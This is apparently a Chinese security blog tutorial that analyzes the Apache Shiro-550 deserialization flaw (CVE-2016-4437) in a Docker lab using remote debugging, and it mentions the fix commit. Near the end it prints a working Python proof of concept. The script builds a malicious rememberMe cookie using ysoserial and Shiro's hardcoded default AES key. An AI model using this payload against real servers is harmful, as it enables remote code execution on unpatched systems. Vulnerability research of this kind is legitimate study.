前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在它编号为550 的issue(CVE-2016-4437)中爆出严重的Java反序列化漏洞。

https://issues.apache.org/jira/browse/SHIRO-550

远程调试shiro550 - 图1

如上所述,在Apache Shiro<=1.2.4版本中,Cookie值会首先base64解码,然后AES解密,最后反序列化

但AES默认加密密钥是硬编码在代码中的,因此任何人可以创建一个恶意对象,然后对其进行序列化、加密和编码,将结果通过Cookie中的RememberMe发送给服务端,让其执行我们的恶意代码。

漏洞环境搭建

这里采用vulhub上的环境来搭建:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

  1. docker pull vulhub/shiro:1.2.4
  2. docker run -it -d --rm --name shiro550 -p 8000:8080 vulhub/shiro:1.2.4

访问8000端口,出现如下界面说明docker里面的环境启动成功

远程调试shiro550 - 图2

使用利用工具,可成功执行命令

远程调试shiro550 - 图3

远程调试准备

即便是远程调试,本地也需要一份相同的代码

我们需要先把代码搞到本地,查看当前容器启动的命令

  1. docker ps --no-trunc

远程调试shiro550 - 图4

可以看到使用的是一个jar包启动环境,复制到本地

  1. docker cp shiro550:/shirodemo-1.0-SNAPSHOT.jar ./

因为本地也需要一份相同的代码,尝试直接新建一个项目,将jar文件当作依赖引入到IDEA中,发现IDEA可以直接将classes目录下的文件还原成代码,但lib目录下还有一些jar,这些jar因为不是当成依赖引入到项目中的,所以看不到代码,也就无法调试

远程调试shiro550 - 图5

解压shirodemo-1.0-SNAPSHOT.jar到项目根目录,然后右键lib目录选择Add as Library将这些jar全部添加到依赖中

远程调试shiro550 - 图6

添加后就可以看这个jar的代码了,也就可以调试了

远程调试shiro550 - 图7

最后还需要将要调试的class文件夹添加到依赖关系中,这里就是BOOT-INF目录下的所有文件,不添加的话在class文件中下断点是无法拦截的。

  • 没加依赖,断点走不到那去,它不知道应该走哪里
  • 加了依赖,就知道你用的哪一个,断点就直接去那了

远程调试shiro550 - 图8

这个时候本地代码准备就完成了,总结一下主要是3步:

  1. 获取jar文件到本地,将其作为依赖引入
  2. 给这个jar文件所需要的依赖也添加到本地依赖中
  3. 给需要调试的class文件夹添加到Dependencies

然后就是远程调试部分,参考使用 IntelliJ IDEA 在 Docker 中调试 Java 应用程序,主要是以debug模式启用服务端,添加的jar启动命令参数如下

  1. # jdk<=1.7
  2. -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
  3. # jdk>1.7
  4. -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  5. # - transport:监听Socket端口连接方式(也可以dt_shmem共享内存方式,但限于windows机器,并且服务提供端和调试端只能位于同一台机)
  6. # - server:=y表示当前是调试服务端,=n表示当前是调试客户端
  7. # - suspend:=n表示启动时不中断(如果启动时中断,一般用于调试启动不了的问题)
  8. # - address:=5005表示本地监听5005端口(默认5005)

这里java版本为jdk1.8,所以新的docker容器启动命令

  1. docker run -it -d --rm --name shiro550 -p 127.0.0.1:8000:8080 -p 127.0.0.1:5005:5005 vulhub/shiro:1.2.4 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

然后在IDEA中添加一个remote即可

远程调试shiro550 - 图9

点击Debug,显示Connected to the target VM, address: 'localhost:5005', transport: 'socket'说明成功

登陆处下个断点,有绿色的小勾说明下断点成功

远程调试shiro550 - 图10

然后去页面上登陆

远程调试shiro550 - 图11

成功

远程调试shiro550 - 图12

开始调试

根据最开始的描述,漏洞触发主要有远程调试shiro550 - 图13

  • 传入Cookie rememberMe
  • BASE64解码
  • AES解码
  • 反序列化

根据漏洞描述,shiro使用的CookieRememberMeManager存在问题,定位到对应的路径就是org.apache.shiro.web.mgt.CookieRememberMeManager

我们看下这个类,明显的Cookie相关操作,因为漏洞的入口点是传入的cookie,这里我们就从获取到Cookie开始调试分析,即在getCookie处下断点

远程调试shiro550 - 图14

向服务端发送payload

远程调试shiro550 - 图15

此时服务端获取cookie调用getCookie函数到达我们的断点处

远程调试shiro550 - 图16

F8,可以看到这里将我们传入的cookie值赋值到了参数base64

远程调试shiro550 - 图17

继续跟,首先判断内容是不是deleteMe,这里明显不是,然后会通过函数ensurePadding进行base64填充,然后会通过base64解码,赋值给byte[] decoded,最后返回decoded

远程调试shiro550 - 图18

返回的内容会赋值给byte[] bytes,也就是说现在的变量bytes就是存放的base64解码后的cookie

远程调试shiro550 - 图19

继续跟进,发现会调用convertBytesToPrincipals函数,将bytes作为参数传入进去,如果加密服务存在,就通过this.decrypt()函数对bytes进行解密;

远程调试shiro550 - 图20

加密服务存在,看下加密服务信息,发现使用的就是AES的CBC模式加密,填充模式为PKCS5Padding

image.png

跟进decrypt函数,发现其通过函数this.getDecryptionCipherKey()来获取解密密钥

远程调试shiro550 - 图22

跟进,不难看出,this.decryptionCipherKey就是默认keykPH+bIxk5D2deZiIxcaaaA==的base64解码的值,也就是密钥

远程调试shiro550 - 图23

返回密钥后进入解密函数cipherService.decrypt

远程调试shiro550 - 图24

大家都知道AES解密除了密钥还需要一个偏移量IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到IV,字节是16个0,翻译过来就是' '*16

远程调试shiro550 - 图25

最后的结果serialized就是我们传入的恶意序列化数据

远程调试shiro550 - 图26

回到convertBytesToPrincipals,解密后获取到的数据即为serialized,也就是我们的恶意序列化数据,然后调用this.deserialize进行反序列化

远程调试shiro550 - 图27

反序列化调用readObject()位置

远程调试shiro550 - 图28

POC编写

根据刚才的分析,shiro在获取到cookie后会进行 base64解码—>AES解密(CBC模式,PKCS5Padding,默认密钥为kPH+bIxk5D2deZiIxcaaaA==)—>反序列化,所以我们构造的POC只需要反着来即可,即 恶意的序列化数据 --> AES加密 --> base64编码,使用ULRLDNS链来进行验证

POC如下:

  1. #!/usr/bin/env python
  2. import base64
  3. import subprocess
  4. from Crypto.Cipher import AES
  5. def rememberme(dnslog):
  6. popen = subprocess.check_output(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', dnslog])
  7. BS = AES.block_size
  8. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  9. key = "kPH+bIxk5D2deZiIxcaaaA=="
  10. mode = AES.MODE_CBC
  11. iv = b' ' * 16
  12. encryptor = AES.new(base64.b64decode(key), mode, iv)
  13. file_body = pad(popen)
  14. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  15. return base64_ciphertext
  16. if __name__ == '__main__':
  17. payload = rememberme('http://fzv4lc.dnslog.cn')
  18. print("rememberMe={}".format(payload.decode()))

远程调试shiro550 - 图29

漏洞修复

https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

删除硬编码,生成随机key

远程调试shiro550 - 图30

总结

分析过程

总体来说分析起来还是很简单,简化一下就是

  • 首先在CookieRememberMeManager.getRememberedSerializedIdentity中进行base64解码
  • 然后调用AbstractRememberMeManager.convertBytesToPrincipals,其中包含了AES解密和反序列化

几种常见的远程调试的方法

  • JAR
  1. jdk<=1.7
  2. java -Xdebug -Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n -jar
  3. jdk>1.7
  4. java -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n -jar
  • Tomcat

catalina.sh 中添加

  1. JPDA_TRANSPORT=dt_socket
  2. JPDA_ADDRESS=5005
  3. JPAD_SUSPEND=n

  1. CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y"
  • Weblogic

Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 中添加

  1. debugFlag="true"
  2. export debugFlag